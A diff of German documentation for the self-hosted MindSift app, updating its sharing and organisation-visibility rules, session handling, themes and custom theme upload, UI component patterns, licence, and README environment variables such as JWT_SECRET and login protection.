- **Notizen und Ordner:** Die effektive Rolle berechnet `Store.DocRole` (Eigentümer, Eigentümer des geteilten Ordners = Bearbeiter, direkte Freigabe, Gruppenfreigabe, Ordnerfreigabe; höchste gewinnt). Im Freigabe-Dialog sind für Notizen und geteilte Ordner „Bearbeiten“ und „Nur Lesen“ wählbar (gespeichert als `write`/`read`). Bearbeiter ändern Inhalt, Struktur und Titel über die Sync-Engine; Leser sehen Änderungen live.
|
||||||
- Bei Aufgabenlisten und Listen gilt: Hat jemand mehrere Zugriffswege (direkt und über Gruppen), zählt die **höchste** Stufe.
|
- Bei Aufgabenlisten und Listen gilt: Hat jemand mehrere Zugriffswege (direkt und über Gruppen), zählt die **höchste** Stufe.
|
||||||
- Für Gruppen gilt die Freigabe für alle aktuellen und künftigen Mitglieder.
|
- Für Gruppen gilt die Freigabe für alle aktuellen und künftigen Mitglieder.
|
||||||
- Aufgabenlisten besitzen zusätzlich das Altfeld `team_id`: Mitglieder dieser Gruppe haben ohne Freigabezeile Bearbeiterrechte. Eine Gruppenfreigabe über den Dialog setzt `team_id`, falls es noch leer ist.
|
- **Aufgaben-Zuweisungen** hängen am Zugriff: Verliert jemand den letzten Zugriffsweg auf eine Aufgabenliste, entfernt der Server ihn aus allen Zuweisungen dieser Liste ([modules/tasks.md](modules/tasks.md)).
|
||||||
|
|
||||||
## Aufgabenlisten teilen (Details)
|
## Aufgabenlisten teilen (Details)
|
||||||
|
|
||||||
@@ -31,17 +32,34 @@
|
|||||||
|
|
||||||
Bestehende Freigaben aus der Zeit vor dieser Stufe wurden mit `editor` migriert, behalten also ihr Verhalten.
|
Bestehende Freigaben aus der Zeit vor dieser Stufe wurden mit `editor` migriert, behalten also ihr Verhalten.
|
||||||
|
|
||||||
## Isolations-Modi (`system_settings.sharing_mode`)
|
## Sichtbarkeit: Organisationen und Modi (`system_settings.sharing_mode`)
|
||||||
|
|
||||||
Werte: `strict_private`, `teams_only` (Standard), `open`. Gedacht ist:
|
Zwei Begriffe, nicht verwechseln:
|
||||||
|
|
||||||
| Modus | Zweck |
|
| Begriff | Verwaltet von | Zweck |
|
||||||
|
|---|---|---|
|
||||||
|
| **Organisation** | nur Server-Admin (`/admin/organizations`) | Legt fest, wer wen **sehen** darf. Jeder Benutzer gehört höchstens einer an (`users.organization_id`). |
|
||||||
|
| **Gruppe** (Code: `teams`) | Benutzer selbst | Abkürzung beim Teilen („teile mit meiner WG“). Erweitert die Sichtbarkeit nie. |
|
||||||
|
|
||||||
|
| Modus | Wer sieht wen |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `strict_private` | Keine Sichtbarkeit zwischen Benutzern |
|
| `private` | Niemand. Benutzersuche, Teilen und Gruppen sind aus (Server antwortet mit Fehler, UI blendet sie aus). |
|
||||||
| `teams_only` | Freigaben nur zwischen Mitgliedern gemeinsamer Gruppen |
|
| `organizations` (Standard) | Nur Mitglieder derselben Organisation. Wer keiner angehört, sieht niemanden. |
|
||||||
| `open` | Jeder kann für jeden freigeben |
|
| `open` | Alle. |
|
||||||
|
|
||||||
**Tatsächlich** wird der Modus nur in `GetDiscoverableUsers` ausgewertet, und dort liefert `teams_only` bereits alle Benutzer. `GET /collaborators` ignoriert den Modus, und keine Freigabe-Funktion prüft ihn. Die Einstellung hat derzeit also kaum Wirkung ([FLAW-10](flaws.md)).
|
**Eine Regel für alles:** `Store.CanSee(a, b)` und `Store.CanShareWith(owner, typ, ziel)` in [visibility.go](../internal/storage/visibility.go). Darüber laufen Benutzerverzeichnis (`/users/directory`, `/collaborators`), jede Freigabe (Notiz, Ordner, Aufgabenliste, Liste) und das Hinzufügen zu Gruppen. Server-Admins folgen beim Teilen derselben Regel; alle Konten verwalten sie über `/admin/*`.
|
||||||
|
|
||||||
|
- Mit einer Gruppe teilen darf nur, wer selbst Mitglied ist. Eine Gruppe gehört zur Organisation ihres Erstellers (`teams.org_id`), Mitglieder kommen nur von dort.
|
||||||
|
- Unbekannte und nicht sichtbare Personen liefern dieselbe Meldung („Benutzer oder Gruppe nicht gefunden“), damit niemand Konten per E-Mail ausprobieren kann.
|
||||||
|
- **Teilen geht nur vom Eigentümer.** Bearbeiter können nicht weiterteilen und keine fremden Freigaben entfernen; jeder kann aber seine eigene Freigabe entfernen (eine geteilte Notiz oder einen Ordner verlassen).
|
||||||
|
|
||||||
|
**Rechte folgen der Sichtbarkeit.** `Store.PruneSharing` entfernt alles, was unter dem aktuellen Modus nicht mehr erlaubt wäre: Gruppen-Mitgliedschaften außerhalb der Organisation der Gruppe, Freigaben an Personen, die der Eigentümer nicht mehr sieht, Freigaben an Gruppen, in denen der Eigentümer nicht mehr ist; danach leere Gruppen und über `PruneTaskAssignees` die Aufgaben-Zuweisungen. Gruppen ohne Admin bekommen einen. Es läuft nach:
|
||||||
|
|
||||||
|
- Wechsel oder Entfernen der Organisation eines Benutzers, Löschen einer Organisation
|
||||||
|
- Wechsel des Modus durch den Admin (vorher zeigt `GET /admin/settings/sharing-impact?mode=…` als Probelauf, wie viel wegfällt)
|
||||||
|
- Austritt aus oder Löschen einer Gruppe, Löschen eines Kontos
|
||||||
|
|
||||||
|
Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Namen der Instanz angelegt und der erste Admin ihr zugeordnet. Einladungen und „Benutzer anlegen“ können eine Organisation mitgeben. Im Demo-Modus sind `admin` und `user` in der Organisation „Demo“.
|
||||||
|
|
||||||
## Entkoppelte Ablage geteilter Notizen und Ordner
|
## Entkoppelte Ablage geteilter Notizen und Ordner
|
||||||
|
|
||||||
@@ -50,6 +68,6 @@ Werte: `strict_private`, `teams_only` (Standard), `open`. Gedacht ist:
|
|||||||
|
|
||||||
## Sitzungen und Zugriff
|
## Sitzungen und Zugriff
|
||||||
|
|
||||||
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
|
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
|
||||||
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
||||||
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-06](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md), [FLAW-24](flaws.md).
|
- Bekannte Lücken in der Zugriffskontrolle:.
|
||||||
@@ -82,6 +82,8 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
|
|||||||
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
|
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
|
||||||
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
|
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
|
||||||
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
|
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
|
||||||
|
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
|
||||||
|
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
|
||||||
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
|
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -97,11 +99,31 @@ In [`frontend/src/index.css`](../frontend/src/index.css) und `tailwind.config.js
|
|||||||
- `.checkbox-square`: Kontrollkästchen mit `--radius-checkbox`.
|
- `.checkbox-square`: Kontrollkästchen mit `--radius-checkbox`.
|
||||||
- `.capture-pill`: Spezial-Pille für die Desktop-Schnelleingabeleiste mit `--radius-pill`.
|
- `.capture-pill`: Spezial-Pille für die Desktop-Schnelleingabeleiste mit `--radius-pill`.
|
||||||
|
|
||||||
|
### 🏷️ App-Icon & Branding
|
||||||
|
Das standardmäßige Marken-Icon von MindSift (`frontend/public/icon.svg`, PWA-Icons und Social-Preview-Bilder) folgt der primären Akzentfarbe `--accent: #2563eb` und `--text-on-accent: #ffffff` mit den typischen leichten Eckenrundungen (`rounded-xl` bzw. `rx=108`). Details zur Asset-Matrix und den Icon-Formaten siehe [architecture.md](architecture.md#app-icons-pwa--social-preview-open-graph).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 🛠️ 5. Ein eigenes Theme erstellen
|
## 🛠️ 5. Ein eigenes Theme erstellen
|
||||||
|
|
||||||
Um ein neues Theme (z.B. „Nordic Blue" oder „Cyberpunk") hinzuzufügen:
|
### Ohne Rebuild: Theme-Manager in den Kontoeinstellungen
|
||||||
|
|
||||||
|
Unter **Kontoeinstellungen → Darstellung & Themes** kann jeder Benutzer eigene Themes anlegen:
|
||||||
|
|
||||||
|
- **Vorlage** herunterladen, kopieren oder direkt ins Eingabefeld einfügen (`theme-template.css`).
|
||||||
|
- CSS als **`.css`-Datei hochladen** oder **einfügen**, Namen vergeben, „Speichern & aktivieren“.
|
||||||
|
- Eigene Themes erscheinen als Kacheln in der Galerie und im Profil-Dropdown, mit **Bearbeiten** und **Löschen**.
|
||||||
|
|
||||||
|
Technik:
|
||||||
|
|
||||||
|
- Gespeichert pro Benutzer in der Tabelle `user_themes` (API `GET/POST /themes`, `DELETE /themes/{id}`, max. 200 KB), also im Daten-Volume und auf allen Geräten verfügbar.
|
||||||
|
- Aktiv gesetzt wird ein eigenes Theme als `custom:<id>`. [`theme.ts`](../frontend/src/lib/theme.ts) setzt das CSS live als `<style id="mindsift-custom-theme">` ans Ende von `<head>` (gewinnt damit gegen die eingebauten Themes) und übernimmt den Wert aus dem Selektor `[data-theme="…"]` des CSS für `<html data-theme>`. Ohne solchen Selektor gilt das CSS für `:root`. Kommentare werden dabei ignoriert.
|
||||||
|
- Ob die Tailwind-Klasse `dark` gesetzt wird, entscheidet die Helligkeit von `--bg-app`.
|
||||||
|
- Das CSS des aktiven Themes liegt zusätzlich im `localStorage`, damit es beim Start sofort greift; nach dem Login wird es mit dem Server abgeglichen. Wird es gelöscht, fällt die Ansicht auf „Dark“ zurück.
|
||||||
|
|
||||||
|
### Eingebautes Theme (mit Rebuild)
|
||||||
|
|
||||||
|
Um ein neues Theme (z.B. „Nordic Blue" oder „Cyberpunk") fest in MindSift einzubauen:
|
||||||
1. Kopiere `frontend/src/themes/theme-template.css` nach `frontend/src/themes/theme-meintheme.css`.
|
1. Kopiere `frontend/src/themes/theme-template.css` nach `frontend/src/themes/theme-meintheme.css`.
|
||||||
2. Ändere den Selektor `:root[data-theme="template"]` in `:root[data-theme="meintheme"]`.
|
2. Ändere den Selektor `:root[data-theme="template"]` in `:root[data-theme="meintheme"]`.
|
||||||
3. Passe Farben und Rundungen nach Belieben an.
|
3. Passe Farben und Rundungen nach Belieben an.
|
||||||
|
|||||||
@@ -0,0 +1,81 @@
|
|||||||
|
# UI-Muster
|
||||||
|
|
||||||
|
Wiederkehrende Bedienelemente, die überall gleich aussehen und sich gleich verhalten. Wer eines davon neu braucht, nimmt die vorhandene Komponente und baut keine eigene Variante.
|
||||||
|
|
||||||
|
## Personen suchen (Type-to-Search)
|
||||||
|
|
||||||
|
Komponente: [UserAutocomplete.tsx](../frontend/src/features/UserAutocomplete.tsx)
|
||||||
|
|
||||||
|
Eingesetzt beim Teilen (`UnifiedShareModal`), beim Hinzufügen zu Gruppen (`GroupsView`) und beim Zuweisen von Aufgaben (`TaskDetailModal`).
|
||||||
|
|
||||||
|
- **Keine Liste vorab:** Solange das Feld leer ist, erscheint nichts, auch nicht beim Reinklicken. Kein Dropdown mit allen Personen.
|
||||||
|
- **Erst beim Tippen** erscheinen Treffer direkt unter dem Feld, **höchstens 3** (`MAX_RESULTS`). Gesucht wird in Anzeigename, `@Benutzername` und E-Mail.
|
||||||
|
- Der **erste Treffer ist vorausgewählt**: Tippen + Enter übernimmt ihn. Pfeiltasten wechseln, Escape schließt.
|
||||||
|
- Bereits gewählte oder freigegebene Personen werden über `excludeUserIds` ausgeblendet.
|
||||||
|
- **Einzelauswahl** (Teilen, Gruppen): `selectedUser` setzen; das Feld zeigt dann die gewählte Person mit ×.
|
||||||
|
- **Mehrfachauswahl** (Aufgaben zuweisen): `selectedUser={null}` lassen und in `onSelectUser` zur Liste hinzufügen. Die Gewählten stehen als Chips (Avatar, Name, ×) über dem Feld, das Feld bleibt für die nächste Suche frei.
|
||||||
|
|
||||||
|
## Profilbilder als Stapel
|
||||||
|
|
||||||
|
Komponente: [AvatarStack.tsx](../frontend/src/components/AvatarStack.tsx) (nutzt `UserAvatar`)
|
||||||
|
|
||||||
|
- Kleine runde Profilbilder, **leicht überlappend**, **höchstens 3**. Weitere Personen erscheinen als monochromer Kreis „+n“.
|
||||||
|
- Ohne Profilbild zeigt `UserAvatar` die Initialen.
|
||||||
|
- `ringClass` bekommt die Farbe der Fläche dahinter (meist `ring-[var(--bg-panel)]` oder `ring-[var(--bg-app)]`), damit die Kreise sauber getrennt sind.
|
||||||
|
- Größen: `xxs` (16 px) in Tabs, Kanban-Karten und Listeneinträgen, `xs` (20 px) in Aufgabenzeilen und Kopfzeilen.
|
||||||
|
- **Kein Hover-Effekt** im Stapel selbst. Einzige Ausnahme ist die Anwesenheit in Notizen ([PresenceAvatars.tsx](../frontend/src/features/workspace/PresenceAvatars.tsx)): Dort zeigt Hover oder Tastaturfokus die Liste „Gerade online“.
|
||||||
|
|
||||||
|
| Ort | Wer wird gezeigt |
|
||||||
|
|---|---|
|
||||||
|
| Notiz-Kopfzeile | wer die Notiz gerade geöffnet hat (Profilbilder aus `/users/directory`) |
|
||||||
|
| Tabs der Aufgabenlisten und Listen | alle mit Zugriff außer mir (`members`) |
|
||||||
|
| Aufgabenzeile und Kanban-Karte | zugewiesene Personen (nur in geteilten Listen) |
|
||||||
|
| Eintrag einer geteilten Liste | wer ihn hinzugefügt hat (`createdBy`); ältere Einträge ohne Autor zeigen nichts |
|
||||||
|
|
||||||
|
## Schalter
|
||||||
|
|
||||||
|
Komponente: [ToggleSwitch.tsx](../frontend/src/components/ToggleSwitch.tsx)
|
||||||
|
|
||||||
|
- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken (Einrichtung, Admin-Bereich).
|
||||||
|
- Text links (Titel, darunter eine kurze Erklärung in `text-muted`), Schalter rechts.
|
||||||
|
|
||||||
|
## Kleine Dialoge (Anlegen, Umbenennen)
|
||||||
|
|
||||||
|
Komponente: [FormSheet.tsx](../frontend/src/components/FormSheet.tsx), Tastatur-Abstand über [useKeyboardInset.ts](../frontend/src/lib/useKeyboardInset.ts)
|
||||||
|
|
||||||
|
- **Handy:** Bottom-Sheet über die volle Breite, das direkt über der Bildschirmtastatur sitzt (der Abstand kommt aus `visualViewport`), Griff oben, Felder und Buttons mindestens 44 px hoch, Eingaben in 16 px (sonst zoomt iOS), Abbrechen/Erstellen nebeneinander über die ganze Breite.
|
||||||
|
- **Desktop:** zentriertes Fenster, oder mit `anchor` neben der Klickposition (z. B. „Neuer Ordner“ im Explorer).
|
||||||
|
- Escape und Klick auf den Hintergrund schließen. Genutzt für neue Aufgabenliste, neue Einkaufsliste und neuen Ordner; das Emoji-Sheet nutzt denselben Tastatur-Abstand.
|
||||||
|
|
||||||
|
## Zähler
|
||||||
|
|
||||||
|
Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Klassen `count-badge*` in [index.css](../frontend/src/index.css). Es gibt keine anderen Zähler-Stile mehr.
|
||||||
|
|
||||||
|
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
|
||||||
|
- **Farbe (`variant`):**
|
||||||
|
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
|
||||||
|
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
|
||||||
|
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
|
||||||
|
- **Position (`position`):**
|
||||||
|
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
|
||||||
|
- `inline`: im Textfluss.
|
||||||
|
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
|
||||||
|
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
|
||||||
|
|
||||||
|
## Ladebildschirm & Statusleiste
|
||||||
|
|
||||||
|
- `manifest.json`: `name` „MindSift“ (kurz, der Slogan steht in `description`), `background_color` und `theme_color` `#2563eb` – Android baut daraus den Splash-Screen.
|
||||||
|
- `index.html` enthält in `#root` einen reinen HTML-Platzhalter (vollflächig Blau, Logo in der Mitte, kein Text). React ersetzt ihn beim ersten Rendern, dazwischen blitzt nichts Weißes auf.
|
||||||
|
- `meta theme-color` startet blau und wird von [`theme.ts`](../frontend/src/lib/theme.ts) nach dem Start und bei jedem Theme-Wechsel auf `--bg-app` des aktiven Themes gesetzt, damit die Statusleiste zum Header passt.
|
||||||
|
|
||||||
|
## +-Button: Tippen und Halten
|
||||||
|
|
||||||
|
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
|
||||||
|
|
||||||
|
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
|
||||||
|
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
|
||||||
|
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
|
||||||
|
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
|
||||||
|
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
This is free and unencumbered software released into the public domain.
|
||||||
|
|
||||||
|
Anyone is free to copy, modify, publish, use, compile, sell, or
|
||||||
|
distribute this software, either in source code form or as a compiled
|
||||||
|
binary, for any purpose, commercial or non-commercial, and by any
|
||||||
|
means.
|
||||||
|
|
||||||
|
In jurisdictions that recognize copyright laws, the author or authors
|
||||||
|
of this software dedicate any and all copyright interest in the
|
||||||
|
software to the public domain. We make this dedication for the benefit
|
||||||
|
of the public at large and to the detriment of our heirs and
|
||||||
|
successors. We intend this dedication to be an overt act of
|
||||||
|
relinquishment in perpetuity of all present and future rights to this
|
||||||
|
software under copyright law.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||||
|
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
|
||||||
|
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
|
||||||
|
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
|
||||||
|
OTHER DEALINGS IN THE SOFTWARE.
|
||||||
|
|
||||||
|
For more information, please refer to <https://unlicense.org>
|
||||||
@@ -6,7 +6,7 @@
|
|||||||
[](#)
|
[](#)
|
||||||
[](#-schnellstart)
|
[](#-schnellstart)
|
||||||
[](#-deine-daten-gehören-dir)
|
[](#-deine-daten-gehören-dir)
|
||||||
[](#-schnellstart)
|
[](#-schnellstart)
|
||||||
|
|
||||||
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
|
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
|
||||||
|
|
||||||
@@ -92,7 +92,7 @@ Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md)
|
|||||||
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
|
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
|
||||||
* Gruppen mit Gruppen-Admins für Freigaben.
|
* Gruppen mit Gruppen-Admins für Freigaben.
|
||||||
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
|
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
|
||||||
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA.
|
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
|
||||||
|
|
||||||
### 🔌 Integrationen
|
### 🔌 Integrationen
|
||||||
|
|
||||||
@@ -128,7 +128,7 @@ Minimal:
|
|||||||
```yaml
|
```yaml
|
||||||
services:
|
services:
|
||||||
mindsift:
|
mindsift:
|
||||||
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.2); :latest = main, :dev = Entwicklungsstand
|
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.4); :latest = main, :dev = Entwicklungsstand
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
ports: ["8080:8080"]
|
ports: ["8080:8080"]
|
||||||
volumes: ["./data:/data"]
|
volumes: ["./data:/data"]
|
||||||
@@ -141,7 +141,7 @@ services:
|
|||||||
|
|
||||||
Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch das Anlegen des Administrator-Kontos.
|
Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch das Anlegen des Administrator-Kontos.
|
||||||
|
|
||||||
> ⚠️ **Setze `JWT_SECRET`.** Ohne Angabe nutzt der Server einen öffentlich bekannten Standardwert, mit dem sich Anmelde-Tokens fälschen lassen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
|
> ⚠️ **`JWT_SECRET`:** Ohne Angabe (oder mit einem der Platzhalter aus den Beispielen) erzeugt der Server beim ersten Start einen Zufallswert und speichert ihn als `jwt.secret` im Datenverzeichnis. Für Produktion lieber selbst einen langen Zufallswert setzen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -151,17 +151,25 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `PORT` | `8080` | HTTP-Port |
|
| `PORT` | `8080` | HTTP-Port |
|
||||||
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
|
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
|
||||||
| `JWT_SECRET` | unsicherer Standard | **Pflicht in Produktion**, Signaturschlüssel |
|
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
|
||||||
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL |
|
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
|
||||||
|
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
|
||||||
|
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
|
||||||
|
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
|
||||||
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
|
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
|
||||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
||||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
|
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
|
||||||
|
| `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
|
||||||
|
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||||
|
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||||
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
||||||
|
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
|
||||||
|
|
||||||
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
